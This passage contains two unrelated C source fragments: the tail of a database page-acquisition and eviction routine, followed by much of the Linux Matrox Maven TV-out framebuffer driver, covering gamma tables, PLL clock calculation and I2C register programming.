lookaside page, the tree * cannot be left clean: lookaside entries * must be resolved before the tree can be * discarded. */ if (__wt_las_page_skip(session, ref)) { __wt_tree_modify_set(session); return (WT_NOTFOUND); } } goto read; case WT_REF_DISK: if (LF_ISSET(WT_READ_CACHE)) return (WT_NOTFOUND); read: /* * The page isn't in memory, read it. If this thread * respects the cache size, check for space in the * cache. */ if (!LF_ISSET(WT_READ_IGNORE_CACHE_SIZE)) WT_RET(__wt_cache_eviction_check( session, true, !F_ISSET(&session->txn, WT_TXN_HAS_ID), NULL)); WT_RET(__page_read(session, ref, flags)); /* * We just read a page, don't evict it before we have a * chance to use it. */ did_read = true; /* * If configured to not trash the cache, leave the page * generation unset, we'll set it before returning to * the oldest read generation, so the page is forcibly * evicted as soon as possible. We don't do that set * here because we don't want to evict the page before * we "acquire" it. */ wont_need = LF_ISSET(WT_READ_WONT_NEED) || F_ISSET(session, WT_SESSION_READ_WONT_NEED); continue; case WT_REF_READING: if (LF_ISSET(WT_READ_CACHE)) return (WT_NOTFOUND); if (LF_ISSET(WT_READ_NO_WAIT)) return (WT_NOTFOUND); /* Waiting on another thread's read, stall. */ WT_STAT_CONN_INCR(session, page_read_blocked); stalled = true; break; case WT_REF_LOCKED: if (LF_ISSET(WT_READ_NO_WAIT)) return (WT_NOTFOUND); /* Waiting on eviction, stall. */ WT_STAT_CONN_INCR(session, page_locked_blocked); stalled = true; break; case WT_REF_SPLIT: return (WT_RESTART); case WT_REF_LIMBO: case WT_REF_MEM: /* * The page is in memory. * * Get a hazard pointer if one is required. We cannot * be evicting if no hazard pointer is required, we're * done. */ if (F_ISSET(btree, WT_BTREE_IN_MEMORY)) goto skip_evict; /* * The expected reason we can't get a hazard pointer is * because the page is being evicted, yield, try again. */ #ifdef HAVE_DIAGNOSTIC WT_RET( __wt_hazard_set(session, ref, &busy, file, line)); #else WT_RET(__wt_hazard_set(session, ref, &busy)); #endif if (busy) { WT_STAT_CONN_INCR(session, page_busy_blocked); break; } /* * If we are a limbo page check whether we need to * instantiate the history. By having a hazard pointer * we can use the locked version. */ if (current_state == WT_REF_LIMBO && ((!LF_ISSET(WT_READ_CACHE) || LF_ISSET(WT_READ_LOOKASIDE)) && !__wt_las_page_skip_locked(session, ref))) { WT_RET(__wt_hazard_clear(session, ref)); goto read; } if (current_state == WT_REF_LIMBO && LF_ISSET(WT_READ_CACHE) && LF_ISSET(WT_READ_LOOKASIDE)) __wt_tree_modify_set(session); /* * Check if the page requires forced eviction. */ if (did_read || LF_ISSET(WT_READ_NO_SPLIT) || btree->evict_disabled > 0 || btree->lsm_primary) goto skip_evict; /* * If reconciliation is disabled (e.g., when inserting * into the lookaside table), skip forced eviction if * the page can't split. */ if (F_ISSET(session, WT_SESSION_NO_RECONCILE) && !__wt_leaf_page_can_split(session, ref->page)) goto skip_evict; /* * Forcibly evict pages that are too big. */ if (force_attempts < 10 && __evict_force_check(session, ref)) { ++force_attempts; ret = __wt_page_release_evict(session, ref); /* If forced eviction fails, stall. */ if (ret == EBUSY) { WT_NOT_READ(ret, 0); WT_STAT_CONN_INCR(session, page_forcible_evict_blocked); stalled = true; break; } WT_RET(ret); /* * The result of a successful forced eviction * is a page-state transition (potentially to * an in-memory page we can use, or a restart * return for our caller), continue the outer * page-acquisition loop. */ continue; } skip_evict: /* * If we read the page and are configured to not trash * the cache, and no other thread has already used the * page, set the read generation so the page is evicted * soon. * * Otherwise, if we read the page, or, if configured to * update the page's read generation and the page isn't * already flagged for forced eviction, update the page * read generation. */ page = ref->page; if (page->read_gen == WT_READGEN_NOTSET) { if (wont_need) page->read_gen = WT_READGEN_WONT_NEED; else __wt_cache_read_gen_new(session, page); } else if (!LF_ISSET(WT_READ_NO_GEN)) __wt_cache_read_gen_bump(session, page); /* * Check if we need an autocommit transaction. * Starting a transaction can trigger eviction, so skip * it if eviction isn't permitted. * * The logic here is a little weird: some code paths do * a blanket ban on checking the cache size in * sessions, but still require a transaction (e.g., * when updating metadata or lookaside). If * WT_READ_IGNORE_CACHE_SIZE was passed in explicitly, * we're done. If we set WT_READ_IGNORE_CACHE_SIZE * because it was set in the session then make sure we * start a transaction. */ return (LF_ISSET(WT_READ_IGNORE_CACHE_SIZE) && !F_ISSET(session, WT_SESSION_IGNORE_CACHE_SIZE) ? 0 : __wt_txn_autocommit_check(session)); WT_ILLEGAL_VALUE(session); } /* * We failed to get the page -- yield before retrying, and if * we've yielded enough times, start sleeping so we don't burn * CPU to no purpose. */ if (yield_cnt < WT_THOUSAND) { if (!stalled) { ++yield_cnt; __wt_yield(); continue; } yield_cnt = WT_THOUSAND; } /* * If stalling and this thread is allowed to do eviction work, * check if the cache needs help. If we do work for the cache, * substitute that for a sleep. */ if (!LF_ISSET(WT_READ_IGNORE_CACHE_SIZE)) { WT_RET(__wt_cache_eviction_check( session, true, !F_ISSET(&session->txn, WT_TXN_HAS_ID), &cache_work)); if (cache_work) continue; } __wt_spin_backoff(&yield_cnt, &sleep_usecs); WT_STAT_CONN_INCRV(session, page_sleep, sleep_usecs); } }
230988.c
/* * * Hardware accelerated Matrox Millennium I, II, Mystique, G100, G200, G400 and G450. * * (c) 1998-2002 Petr Vandrovec <[email protected]> * * Portions Copyright (c) 2001 Matrox Graphics Inc. * * Version: 1.65 2002/08/14 * * See matroxfb_base.c for contributors. * */ #include "matroxfb_maven.h" #include "matroxfb_misc.h" #include "matroxfb_DAC1064.h" #include <linux/i2c.h> #include <linux/matroxfb.h> #include <asm/div64.h> #define MGATVO_B 1 #define MGATVO_C 2 static const struct maven_gamma { unsigned char reg83; unsigned char reg84; unsigned char reg85; unsigned char reg86; unsigned char reg87; unsigned char reg88; unsigned char reg89; unsigned char reg8a; unsigned char reg8b; } maven_gamma[] = { { 131, 57, 223, 15, 117, 212, 251, 91, 156}, { 133, 61, 128, 63, 180, 147, 195, 100, 180}, { 131, 19, 63, 31, 50, 66, 171, 64, 176}, { 0, 0, 0, 31, 16, 16, 16, 100, 200}, { 8, 23, 47, 73, 147, 244, 220, 80, 195}, { 22, 43, 64, 80, 147, 115, 58, 85, 168}, { 34, 60, 80, 214, 147, 212, 188, 85, 167}, { 45, 77, 96, 216, 147, 99, 91, 85, 159}, { 56, 76, 112, 107, 147, 212, 148, 64, 144}, { 65, 91, 128, 137, 147, 196, 17, 69, 148}, { 72, 104, 136, 138, 147, 180, 245, 73, 147}, { 87, 116, 143, 126, 16, 83, 229, 77, 144}, { 95, 119, 152, 254, 244, 83, 221, 77, 151}, { 100, 129, 159, 156, 244, 148, 197, 77, 160}, { 105, 141, 167, 247, 244, 132, 181, 84, 166}, { 105, 147, 168, 247, 244, 245, 181, 90, 170}, { 120, 153, 175, 248, 212, 229, 165, 90, 180}, { 119, 156, 176, 248, 244, 229, 84, 74, 160}, { 119, 158, 183, 248, 244, 229, 149, 78, 165} }; /* Definition of the various controls */ struct mctl { struct v4l2_queryctrl desc; size_t control; }; #define BLMIN 0x0FF #define WLMAX 0x3FF static const struct mctl maven_controls[] = { { { V4L2_CID_BRIGHTNESS, V4L2_CTRL_TYPE_INTEGER, "brightness", 0, WLMAX - BLMIN, 1, 379 - BLMIN, 0, }, offsetof(struct matrox_fb_info, altout.tvo_params.brightness) }, { { V4L2_CID_CONTRAST, V4L2_CTRL_TYPE_INTEGER, "contrast", 0, 1023, 1, 127, 0, }, offsetof(struct matrox_fb_info, altout.tvo_params.contrast) }, { { V4L2_CID_SATURATION, V4L2_CTRL_TYPE_INTEGER, "saturation", 0, 255, 1, 155, 0, }, offsetof(struct matrox_fb_info, altout.tvo_params.saturation) }, { { V4L2_CID_HUE, V4L2_CTRL_TYPE_INTEGER, "hue", 0, 255, 1, 0, 0, }, offsetof(struct matrox_fb_info, altout.tvo_params.hue) }, { { V4L2_CID_GAMMA, V4L2_CTRL_TYPE_INTEGER, "gamma", 0, ARRAY_SIZE(maven_gamma) - 1, 1, 3, 0, }, offsetof(struct matrox_fb_info, altout.tvo_params.gamma) }, { { MATROXFB_CID_TESTOUT, V4L2_CTRL_TYPE_BOOLEAN, "test output", 0, 1, 1, 0, 0, }, offsetof(struct matrox_fb_info, altout.tvo_params.testout) }, { { MATROXFB_CID_DEFLICKER, V4L2_CTRL_TYPE_INTEGER, "deflicker mode", 0, 2, 1, 0, 0, }, offsetof(struct matrox_fb_info, altout.tvo_params.deflicker) }, }; #define MAVCTRLS ARRAY_SIZE(maven_controls) /* Return: positive number: id found -EINVAL: id not found, return failure -ENOENT: id not found, create fake disabled control */ static int get_ctrl_id(__u32 v4l2_id) { int i; for (i = 0; i < MAVCTRLS; i++) { if (v4l2_id < maven_controls[i].desc.id) { if (maven_controls[i].desc.id == 0x08000000) { return -EINVAL; } return -ENOENT; } if (v4l2_id == maven_controls[i].desc.id) { return i; } } return -EINVAL; } struct maven_data { struct matrox_fb_info* primary_head; struct i2c_client *client; int version; }; static int* get_ctrl_ptr(struct maven_data* md, int idx) { return (int*)((char*)(md->primary_head) + maven_controls[idx].control); } static int maven_get_reg(struct i2c_client* c, char reg) { char dst; struct i2c_msg msgs[] = {{ c->addr, I2C_M_REV_DIR_ADDR, sizeof(reg), &reg }, { c->addr, I2C_M_RD | I2C_M_NOSTART, sizeof(dst), &dst }}; s32 err; err = i2c_transfer(c->adapter, msgs, 2); if (err < 0) printk(KERN_INFO "ReadReg(%d) failed\n", reg); return dst & 0xFF; } static int maven_set_reg(struct i2c_client* c, int reg, int val) { s32 err; err = i2c_smbus_write_byte_data(c, reg, val); if (err) printk(KERN_INFO "WriteReg(%d) failed\n", reg); return err; } static int maven_set_reg_pair(struct i2c_client* c, int reg, int val) { s32 err; err = i2c_smbus_write_word_data(c, reg, val); if (err) printk(KERN_INFO "WriteRegPair(%d) failed\n", reg); return err; } static const struct matrox_pll_features maven_pll = { 50000, 27000, 4, 127, 2, 31, 3 }; struct matrox_pll_features2 { unsigned int vco_freq_min; unsigned int vco_freq_max; unsigned int feed_div_min; unsigned int feed_div_max; unsigned int in_div_min; unsigned int in_div_max; unsigned int post_shift_max; }; struct matrox_pll_ctl { unsigned int ref_freq; unsigned int den; }; static const struct matrox_pll_features2 maven1000_pll = { 50000000, 300000000, 5, 128, 3, 32, 3 }; static const struct matrox_pll_ctl maven_PAL = { 540000, 50 }; static const struct matrox_pll_ctl maven_NTSC = { 450450, /* 27027000/60 == 27000000/59.94005994 */ 60 }; static int matroxfb_PLL_mavenclock(const struct matrox_pll_features2* pll, const struct matrox_pll_ctl* ctl, unsigned int htotal, unsigned int vtotal, unsigned int* in, unsigned int* feed, unsigned int* post, unsigned int* h2) { unsigned int besth2 = 0; unsigned int fxtal = ctl->ref_freq; unsigned int fmin = pll->vco_freq_min / ctl->den; unsigned int fwant; unsigned int p; unsigned int scrlen; unsigned int fmax; DBG(__func__) scrlen = htotal * (vtotal - 1); fwant = htotal * vtotal; fmax = pll->vco_freq_max / ctl->den; dprintk(KERN_DEBUG "want: %u, xtal: %u, h: %u, v: %u, fmax: %u\n", fwant, fxtal, htotal, vtotal, fmax); for (p = 1; p <= pll->post_shift_max; p++) { if (fwant * 2 > fmax) break; fwant *= 2; } if (fwant > fmax) return 0; for (; p-- > 0; fwant >>= 1) { unsigned int m; if (fwant < fmin) break; for (m = pll->in_div_min; m <= pll->in_div_max; m++) { unsigned int n; unsigned int dvd; unsigned int ln; n = (fwant * m) / fxtal; if (n < pll->feed_div_min) continue; if (n > pll->feed_div_max) break; ln = fxtal * n; dvd = m << p; if (ln % dvd) continue; ln = ln / dvd; if (ln < scrlen + 2) continue; ln = ln - scrlen; if (ln > htotal) continue; dprintk(KERN_DEBUG "Match: %u / %u / %u / %u\n", n, m, p, ln); if (ln > besth2) { dprintk(KERN_DEBUG "Better...\n"); *h2 = besth2 = ln; *post = p; *in = m; *feed = n; } } } /* if h2/post/in/feed have not been assigned, return zero (error) */ if (besth2 < 2) return 0; dprintk(KERN_ERR "clk: %02X %02X %02X %d %d\n", *in, *feed, *post, fxtal, fwant); return fxtal * (*feed) / (*in) * ctl->den; } static unsigned int matroxfb_mavenclock(const struct matrox_pll_ctl* ctl, unsigned int htotal, unsigned int vtotal, unsigned int* in, unsigned int* feed, unsigned int* post, unsigned int* htotal2) { unsigned int fvco; unsigned int uninitialized_var(p); fvco = matroxfb_PLL_mavenclock(&maven1000_pll, ctl, htotal, vtotal, in, feed, &p, htotal2); if (!fvco) return -EINVAL; p = (1 << p) - 1; if (fvco <= 100000000) ; else if (fvco <= 140000000) p |= 0x08; else if (fvco <= 180000000) p |= 0x10; else p |= 0x18; *post = p; return 0; } static void DAC1064_calcclock(unsigned int freq, unsigned int fmax, unsigned int* in, unsigned int* feed, unsigned int* post) { unsigned int fvco; unsigned int p; fvco = matroxfb_PLL_calcclock(&maven_pll, freq, fmax, in, feed, &p); p = (1 << p) - 1; if (fvco <= 100000) ; else if (fvco <= 140000) p |= 0x08; else if (fvco <= 180000) p |= 0x10; else p |= 0x18; *post = p; return; } static unsigned char maven_compute_deflicker (const struct maven_data* md) { unsigned char df; df = (md->version == MGATVO_B?0x40:0x00); switch (md->primary_head->altout.tvo_params.deflicker) { case 0: /* df |= 0x00; */ break; case 1: df |= 0xB1; break; case 2: df |= 0xA2; break; } return df; } static void maven_compute_bwlevel (const struct maven_data* md, int *bl, int *wl) { const int b = md->primary_head->altout.tvo_params.brightness + BLMIN; const int c = md->primary_head->altout.tvo_params.contrast; *bl = max(b - c, BLMIN); *wl = min(b + c, WLMAX); } static const struct maven_gamma* maven_compute_gamma (const struct maven_data* md) { return maven_gamma + md->primary_head->altout.tvo_params.gamma; } static void maven_init_TVdata(const struct maven_data* md, struct mavenregs* data) { static struct mavenregs palregs = { { 0x2A, 0x09, 0x8A, 0xCB, /* 00: chroma subcarrier */ 0x00, 0x00, /* ? not written */ 0x00, /* modified by code (F9 written...) */ 0x00, /* ? not written */ 0x7E, /* 08 */ 0x44, /* 09 */ 0x9C, /* 0A */ 0x2E, /* 0B */ 0x21, /* 0C */ 0x00, /* ? not written */ 0x3F, 0x03, /* 0E-0F */ 0x3F, 0x03, /* 10-11 */ 0x1A, /* 12 */ 0x2A, /* 13 */ 0x1C, 0x3D, 0x14, /* 14-16 */ 0x9C, 0x01, /* 17-18 */ 0x00, /* 19 */ 0xFE, /* 1A */ 0x7E, /* 1B */ 0x60, /* 1C */ 0x05, /* 1D */ 0x89, 0x03, /* 1E-1F */ 0x72, /* 20 */ 0x07, /* 21 */ 0x72, /* 22 */ 0x00, /* 23 */ 0x00, /* 24 */ 0x00, /* 25 */ 0x08, /* 26 */ 0x04, /* 27 */ 0x00, /* 28 */ 0x1A, /* 29 */ 0x55, 0x01, /* 2A-2B */ 0x26, /* 2C */ 0x07, 0x7E, /* 2D-2E */ 0x02, 0x54, /* 2F-30 */ 0xB0, 0x00, /* 31-32 */ 0x14, /* 33 */ 0x49, /* 34 */ 0x00, /* 35 written multiple times */ 0x00, /* 36 not written */ 0xA3, /* 37 */ 0xC8, /* 38 */ 0x22, /* 39 */ 0x02, /* 3A */ 0x22, /* 3B */ 0x3F, 0x03, /* 3C-3D */ 0x00, /* 3E written multiple times */ 0x00, /* 3F not written */ }, MATROXFB_OUTPUT_MODE_PAL, 625, 50 }; static struct mavenregs ntscregs = { { 0x21, 0xF0, 0x7C, 0x1F, /* 00: chroma subcarrier */ 0x00, 0x00, /* ? not written */ 0x00, /* modified by code (F9 written...) */ 0x00, /* ? not written */ 0x7E, /* 08 */ 0x43, /* 09 */ 0x7E, /* 0A */ 0x3D, /* 0B */ 0x00, /* 0C */ 0x00, /* ? not written */ 0x41, 0x00, /* 0E-0F */ 0x3C, 0x00, /* 10-11 */ 0x17, /* 12 */ 0x21, /* 13 */ 0x1B, 0x1B, 0x24, /* 14-16 */ 0x83, 0x01, /* 17-18 */ 0x00, /* 19 */ 0x0F, /* 1A */ 0x0F, /* 1B */ 0x60, /* 1C */ 0x05, /* 1D */ 0x89, 0x02, /* 1E-1F */ 0x5F, /* 20 */ 0x04, /* 21 */ 0x5F, /* 22 */ 0x01, /* 23 */ 0x02, /* 24 */ 0x00, /* 25 */ 0x0A, /* 26 */ 0x05, /* 27 */ 0x00, /* 28 */ 0x10, /* 29 */ 0xFF, 0x03, /* 2A-2B */ 0x24, /* 2C */ 0x0F, 0x78, /* 2D-2E */ 0x00, 0x00, /* 2F-30 */ 0xB2, 0x04, /* 31-32 */ 0x14, /* 33 */ 0x02, /* 34 */ 0x00, /* 35 written multiple times */ 0x00, /* 36 not written */ 0xA3, /* 37 */ 0xC8, /* 38 */ 0x15, /* 39 */ 0x05, /* 3A */ 0x3B, /* 3B */ 0x3C, 0x00, /* 3C-3D */ 0x00, /* 3E written multiple times */ 0x00, /* never written */ }, MATROXFB_OUTPUT_MODE_NTSC, 525, 60 }; struct matrox_fb_info *minfo = md->primary_head; if (minfo->outputs[1].mode == MATROXFB_OUTPUT_MODE_PAL) *data = palregs; else *data = ntscregs; /* Set deflicker */ data->regs[0x93] = maven_compute_deflicker(md); /* set gamma */ { const struct maven_gamma* g; g = maven_compute_gamma(md); data->regs[0x83] = g->reg83; data->regs[0x84] = g->reg84; data->regs[0x85] = g->reg85; data->regs[0x86] = g->reg86; data->regs[0x87] = g->reg87; data->regs[0x88] = g->reg88; data->regs[0x89] = g->reg89; data->regs[0x8A] = g->reg8a; data->regs[0x8B] = g->reg8b; } /* Set contrast / brightness */ { int bl, wl; maven_compute_bwlevel (md, &bl, &wl); data->regs[0x0e] = bl >> 2; data->regs[0x0f] = bl & 3; data->regs[0x1e] = wl >> 2; data->regs[0x1f] = wl & 3; } /* Set saturation */ { data->regs[0x20] = data->regs[0x22] = minfo->altout.tvo_params.saturation; } /* Set HUE */ data->regs[0x25] = minfo->altout.tvo_params.hue; return; } #define LR(x) maven_set_reg(c, (x), m->regs[(x)]) #define LRP(x) maven_set_reg_pair(c, (x), m->regs[(x)] | (m->regs[(x)+1] << 8)) static void maven_init_TV(struct i2c_client* c, const struct mavenregs* m) { int val; maven_set_reg(c, 0x3E, 0x01); maven_get_reg(c, 0x82); /* fetch oscillator state? */ maven_set_reg(c, 0x8C, 0x00); maven_get_reg(c, 0x94); /* get 0x82 */ maven_set_reg(c, 0x94, 0xA2); /* xmiscctrl */ maven_set_reg_pair(c, 0x8E, 0x1EFF); maven_set_reg(c, 0xC6, 0x01); /* removed code... */ maven_get_reg(c, 0x06); maven_set_reg(c, 0x06, 0xF9); /* or read |= 0xF0 ? */ /* removed code here... */ /* real code begins here? */ /* chroma subcarrier */ LR(0x00); LR(0x01); LR(0x02); LR(0x03); LR(0x04); LR(0x2C); LR(0x08); LR(0x0A); LR(0x09); LR(0x29); LRP(0x31); LRP(0x17); LR(0x0B); LR(0x0C); if (m->mode == MATROXFB_OUTPUT_MODE_PAL) { maven_set_reg(c, 0x35, 0x10); /* ... */ } else { maven_set_reg(c, 0x35, 0x0F); /* ... */ } LRP(0x10); LRP(0x0E); LRP(0x1E); LR(0x20); /* saturation #1 */ LR(0x22); /* saturation #2 */ LR(0x25); /* hue */ LR(0x34); LR(0x33); LR(0x19); LR(0x12); LR(0x3B); LR(0x13); LR(0x39); LR(0x1D); LR(0x3A); LR(0x24); LR(0x14); LR(0x15); LR(0x16); LRP(0x2D); LRP(0x2F); LR(0x1A); LR(0x1B); LR(0x1C); LR(0x23); LR(0x26); LR(0x28); LR(0x27); LR(0x21); LRP(0x2A); if (m->mode == MATROXFB_OUTPUT_MODE_PAL) maven_set_reg(c, 0x35, 0x1D); /* ... */ else maven_set_reg(c, 0x35, 0x1C); LRP(0x3C); LR(0x37); LR(0x38); maven_set_reg(c, 0xB3, 0x01); maven_get_reg(c, 0xB0); /* read 0x80 */ maven_set_reg(c, 0xB0, 0x08); /* ugh... */ maven_get_reg(c, 0xB9); /* read 0x7C */ maven_set_reg(c, 0xB9, 0x78); maven_get_reg(c, 0xBF); /* read 0x00 */ maven_set_reg(c, 0xBF, 0x02); maven_get_reg(c, 0x94); /* read 0x82 */ maven_set_reg(c, 0x94, 0xB3); LR(0x80); /* 04 1A 91 or 05 21 91 */ LR(0x81); LR(0x82); maven_set_reg(c, 0x8C, 0x20); maven_get_reg(c, 0x8D); maven_set_reg(c, 0x8D, 0x10); LR(0x90); /* 4D 50 52 or 4E 05 45 */ LR(0x91); LR(0x92); LRP(0x9A); /* 0049 or 004F */ LRP(0x9C); /* 0004 or 0004 */ LRP(0x9E); /* 0458 or 045E */ LRP(0xA0); /* 05DA or 051B */ LRP(0xA2); /* 00CC or 00CF */ LRP(0xA4); /* 007D or 007F */ LRP(0xA6); /* 007C or 007E */ LRP(0xA8); /* 03CB or 03CE */ LRP(0x98); /* 0000 or 0000 */ LRP(0xAE); /* 0044 or 003A */ LRP(0x96); /* 05DA or 051B */ LRP(0xAA); /* 04BC or 046A */ LRP(0xAC); /* 004D or 004E */ LR(0xBE); LR(0xC2); maven_get_reg(c, 0x8D); maven_set_reg(c, 0x8D, 0x04); LR(0x20); /* saturation #1 */ LR(0x22); /* saturation #2 */ LR(0x93); /* whoops */ LR(0x20); /* oh, saturation #1 again */ LR(0x22); /* oh, saturation #2 again */ LR(0x25); /* hue */ LRP(0x0E); LRP(0x1E); LRP(0x0E); /* problems with memory? */ LRP(0x1E); /* yes, matrox must have problems in memory area... */ /* load gamma correction stuff */ LR(0x83); LR(0x84); LR(0x85); LR(0x86); LR(0x87); LR(0x88); LR(0x89); LR(0x8A); LR(0x8B); val = maven_get_reg(c, 0x8D); val &= 0x14; /* 0x10 or anything ored with it */ maven_set_reg(c, 0x8D, val); LR(0x33); LR(0x19); LR(0x12); LR(0x3B); LR(0x13); LR(0x39); LR(0x1D); LR(0x3A); LR(0x24); LR(0x14); LR(0x15); LR(0x16); LRP(0x2D); LRP(0x2F); LR(0x1A); LR(0x1B); LR(0x1C); LR(0x23); LR(0x26); LR(0x28); LR(0x27); LR(0x21); LRP(0x2A); if (m->mode == MATROXFB_OUTPUT_MODE_PAL) maven_set_reg(c, 0x35, 0x1D); else maven_set_reg(c, 0x35, 0x1C); LRP(0x3C); LR(0x37); LR(0x38); maven_get_reg(c, 0xB0); LR(0xB0); /* output mode */ LR(0x90); LR(0xBE); LR(0xC2); LRP(0x9A); LRP(0xA2); LRP(0x9E); LRP(0xA6); LRP(0xAA); LRP(0xAC); maven_set_reg(c, 0x3E, 0x00); maven_set_reg(c, 0x95, 0x20); } static int maven_find_exact_clocks(unsigned int ht, unsigned int vt, struct mavenregs* m) { unsigned int x; unsigned int err = ~0; /* 1:1 */ m->regs[0x80] = 0x0F; m->regs[0x81] = 0x07; m->regs[0x82] = 0x81; for (x = 0; x < 8; x++) { unsigned int c; unsigned int uninitialized_var(a), uninitialized_var(b), uninitialized_var(h2); unsigned int h = ht + 2 + x; if (!matroxfb_mavenclock((m->mode == MATROXFB_OUTPUT_MODE_PAL) ? &maven_PAL : &maven_NTSC, h, vt, &a, &b, &c, &h2)) { unsigned int diff = h - h2; if (diff < err) { err = diff; m->regs[0x80] = a - 1; m->regs[0x81] = b - 1; m->regs[0x82] = c | 0x80; m->hcorr = h2 - 2; m->htotal = h - 2; } } } return err != ~0U; } static inline int maven_compute_timming(struct maven_data* md, struct my_timming* mt, struct mavenregs* m) { unsigned int tmpi; unsigned int a, bv, c; struct matrox_fb_info *minfo = md->primary_head; m->mode = minfo->outputs[1].mode; if (m->mode != MATROXFB_OUTPUT_MODE_MONITOR) { unsigned int lmargin; unsigned int umargin; unsigned int vslen; unsigned int hcrt; unsigned int slen; maven_init_TVdata(md, m); if (maven_find_exact_clocks(mt->HTotal, mt->VTotal, m) == 0) return -EINVAL; lmargin = mt->HTotal - mt->HSyncEnd; slen = mt->HSyncEnd - mt->HSyncStart; hcrt = mt->HTotal - slen - mt->delay; umargin = mt->VTotal - mt->VSyncEnd; vslen = mt->VSyncEnd - mt->VSyncStart; if (m->hcorr < mt->HTotal) hcrt += m->hcorr; if (hcrt > mt->HTotal) hcrt -= mt->HTotal; if (hcrt + 2 > mt->HTotal) hcrt = 0; /* or issue warning? */ /* last (first? middle?) line in picture can have different length */ /* hlen - 2 */ m->regs[0x96] = m->hcorr; m->regs[0x97] = m->hcorr >> 8; /* ... */ m->regs[0x98] = 0x00; m->regs[0x99] = 0x00; /* hblanking end */ m->regs[0x9A] = lmargin; /* 100% */ m->regs[0x9B] = lmargin >> 8; /* 100% */ /* who knows */ m->regs[0x9C] = 0x04; m->regs[0x9D] = 0x00; /* htotal - 2 */ m->regs[0xA0] = m->htotal; m->regs[0xA1] = m->htotal >> 8; /* vblanking end */ m->regs[0xA2] = mt->VTotal - mt->VSyncStart - 1; /* stop vblanking */ m->regs[0xA3] = (mt->VTotal - mt->VSyncStart - 1) >> 8; /* something end... [A6]+1..[A8] */ if (md->version == MGATVO_B) { m->regs[0xA4] = 0x04; m->regs[0xA5] = 0x00; } else { m->regs[0xA4] = 0x01; m->regs[0xA5] = 0x00; } /* something start... 0..[A4]-1 */ m->regs[0xA6] = 0x00; m->regs[0xA7] = 0x00; /* vertical line count - 1 */ m->regs[0xA8] = mt->VTotal - 1; m->regs[0xA9] = (mt->VTotal - 1) >> 8; /* horizontal vidrst pos */ m->regs[0xAA] = hcrt; /* 0 <= hcrt <= htotal - 2 */ m->regs[0xAB] = hcrt >> 8; /* vertical vidrst pos */ m->regs[0xAC] = mt->VTotal - 2; m->regs[0xAD] = (mt->VTotal - 2) >> 8; /* moves picture up/down and so on... */ m->regs[0xAE] = 0x01; /* Fix this... 0..VTotal */ m->regs[0xAF] = 0x00; { int hdec; int hlen; unsigned int ibmin = 4 + lmargin + mt->HDisplay; unsigned int ib; int i; /* Verify! */ /* Where 94208 came from? */ if (mt->HTotal) hdec = 94208 / (mt->HTotal); else hdec = 0x81; if (hdec > 0x81) hdec = 0x81; if (hdec < 0x41) hdec = 0x41; hdec--; hlen = 98304 - 128 - ((lmargin + mt->HDisplay - 8) * hdec); if (hlen < 0) hlen = 0; hlen = hlen >> 8; if (hlen > 0xFF) hlen = 0xFF; /* Now we have to compute input buffer length. If you want any picture, it must be between 4 + lmargin + xres and 94208 / hdec If you want perfect picture even on the top of screen, it must be also 0x3C0000 * i / hdec + Q - R / hdec where R Qmin Qmax 0x07000 0x5AE 0x5BF 0x08000 0x5CF 0x5FF 0x0C000 0x653 0x67F 0x10000 0x6F8 0x6FF */ i = 1; do { ib = ((0x3C0000 * i - 0x8000)/ hdec + 0x05E7) >> 8; i++; } while (ib < ibmin); if (ib >= m->htotal + 2) { ib = ibmin; } m->regs[0x90] = hdec; /* < 0x40 || > 0x80 is bad... 0x80 is questionable */ m->regs[0xC2] = hlen; /* 'valid' input line length */ m->regs[0x9E] = ib; m->regs[0x9F] = ib >> 8; } { int vdec; int vlen; #define MATROX_USE64BIT_DIVIDE if (mt->VTotal) { #ifdef MATROX_USE64BIT_DIVIDE u64 f1; u32 a; u32 b; a = m->vlines * (m->htotal + 2); b = (mt->VTotal - 1) * (m->htotal + 2) + m->hcorr + 2; f1 = ((u64)a) << 15; /* *32768 */ do_div(f1, b); vdec = f1; #else vdec = m->vlines * 32768 / mt->VTotal; #endif } else vdec = 0x8000; if (vdec > 0x8000) vdec = 0x8000; vlen = (vslen + umargin + mt->VDisplay) * vdec; vlen = (vlen >> 16) - 146; /* FIXME: 146?! */ if (vlen < 0) vlen = 0; if (vlen > 0xFF) vlen = 0xFF; vdec--; m->regs[0x91] = vdec; m->regs[0x92] = vdec >> 8; m->regs[0xBE] = vlen; } m->regs[0xB0] = 0x08; /* output: SVideo/Composite */ return 0; } DAC1064_calcclock(mt->pixclock, 450000, &a, &bv, &c); m->regs[0x80] = a; m->regs[0x81] = bv; m->regs[0x82] = c | 0x80; m->regs[0xB3] = 0x01; m->regs[0x94] = 0xB2; /* htotal... */ m->regs[0x96] = mt->HTotal; m->regs[0x97] = mt->HTotal >> 8; /* ?? */ m->regs[0x98] = 0x00; m->regs[0x99] = 0x00; /* hsync len */ tmpi = mt->HSyncEnd - mt->HSyncStart; m->regs[0x9A] = tmpi; m->regs[0x9B] = tmpi >> 8; /* hblank end */ tmpi = mt->HTotal - mt->HSyncStart; m->regs[0x9C] = tmpi; m->regs[0x9D] = tmpi >> 8; /* hblank start */ tmpi += mt->HDisplay; m->regs[0x9E] = tmpi; m->regs[0x9F] = tmpi >> 8; /* htotal + 1 */ tmpi = mt->HTotal + 1; m->regs[0xA0] = tmpi; m->regs[0xA1] = tmpi >> 8; /* vsync?! */ tmpi = mt->VSyncEnd - mt->VSyncStart - 1; m->regs[0xA2] = tmpi; m->regs[0xA3] = tmpi >> 8; /* ignored? */ tmpi = mt->VTotal - mt->VSyncStart; m->regs[0xA4] = tmpi; m->regs[0xA5] = tmpi >> 8; /* ignored? */ tmpi = mt->VTotal - 1; m->regs[0xA6] = tmpi; m->regs[0xA7] = tmpi >> 8; /* vtotal - 1 */ m->regs[0xA8] = tmpi; m->regs[0xA9] = tmpi >> 8; /* hor vidrst */ tmpi = mt->HTotal - mt->delay; m->regs[0xAA] = tmpi; m->regs[0xAB] = tmpi >> 8; /* vert vidrst */ tmpi = mt->VTotal - 2; m->regs[0xAC] = tmpi; m->regs[0xAD] = tmpi >> 8; /* ignored? */ m->regs[0xAE] = 0x00; m->regs[0xAF] = 0x00; m->regs[0xB0] = 0x03; /* output: monitor */ m->regs[0xB1] = 0xA0; /* ??? */ m->regs[0x8C] = 0x20; /* must be set... */ m->regs[0x8D] = 0x04; /* defaults to 0x10: test signal */ m->regs[0xB9] = 0x1A; /* defaults to 0x2C: too bright */ m->regs[0xBF] = 0x22; /* makes picture stable */ return 0; } static int maven_program_timming(struct maven_data* md, const struct mavenregs* m) { struct i2c_client *c = md->client; if (m->mode == MATROXFB_OUTPUT_MODE_MONITOR) { 